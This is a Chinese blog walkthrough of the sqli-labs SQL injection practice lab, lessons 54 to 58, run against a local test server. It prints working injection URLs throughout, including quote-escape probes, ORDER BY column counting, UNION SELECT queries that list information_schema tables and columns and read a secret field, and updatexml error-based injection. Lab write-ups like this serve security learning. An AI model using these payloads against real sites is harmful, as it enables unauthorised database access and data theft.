sqli-labs Less54-Less65

Posted 2020-11-27 骑着七彩祥云的少年

tags:

篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了sqli-labs Less54-Less65相关的知识，希望对你有一定的参考价值。

Less54

从第54关开始，就比较偏向实际挑战方向，这一关对输入次数进行了限制，要求在十次之内，否则刷新数据库随机更新表名列名等信息

首先判断包裹形式，这一关为单引号包裹

http://127.0.0.1/sqli-labs-master/Less-54/?id=1\'--+

判断列数http://127.0.0.1/sqli-labs-master/Less-54/?id=1\' order by 3--+

查看当前数据库 http://127.0.0.1/sqli-labs-master/Less-54/?id=-1\' union select 1,2,database() --+ 当前数据库为challenges

查表 http://127.0.0.1/sqli-labs-master/Less-54/?id=-1\' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=\'challenges\'--+

表名为f7fs4xzk70

查字段 http://127.0.0.1/sqli-labs-master/Less-54/?id=-1\' union select 1,2,group_concat(column_name)from information_schema.columns where table_name=\'f7fs4xzk70\'--+

查信息 http://127.0.0.1/sqli-labs-master/Less-54/?id=-1\' union select 1,2,group_concat(concat_ws(0x7e,secret_DPET))from challenges.f7fs4xzk70 --+

取出信息放入下面

我们成功过关

Less-55

这一关有14次机会，包裹形式为?id=1) 其他步骤均与Less54相同

Less-56

这一关包裹形式为?id=1\'）其他步骤均与Less54相同

Less-57

这一关有14次机会，包裹形式为?id=1" 其他步骤均与Less54相同

Less-58

这一关只有五次机会，显然不能使用联合查询，这一关我们使用报错注入

有题目（刚打开的页面显示）可知，我们当前数据库为challenges

查表 http://127.0.0.1/sqli-labs-master/Less-58/?id=1\' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=\'challenges\')),1)--+ 表名为v000pri418

查字段 http://127.0.0.1/sqli-labs-master/Less-58/?id=1\' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name=\'v000pri418\')),1)--+

查信息 http://127.0.0.1/sqli-labs-master/Less-58/?id=1\' and updatexml(1,concat(0x7e,(select group_concat(0x7e,secret_T5XO)from challenges.v000pri418)),1)--+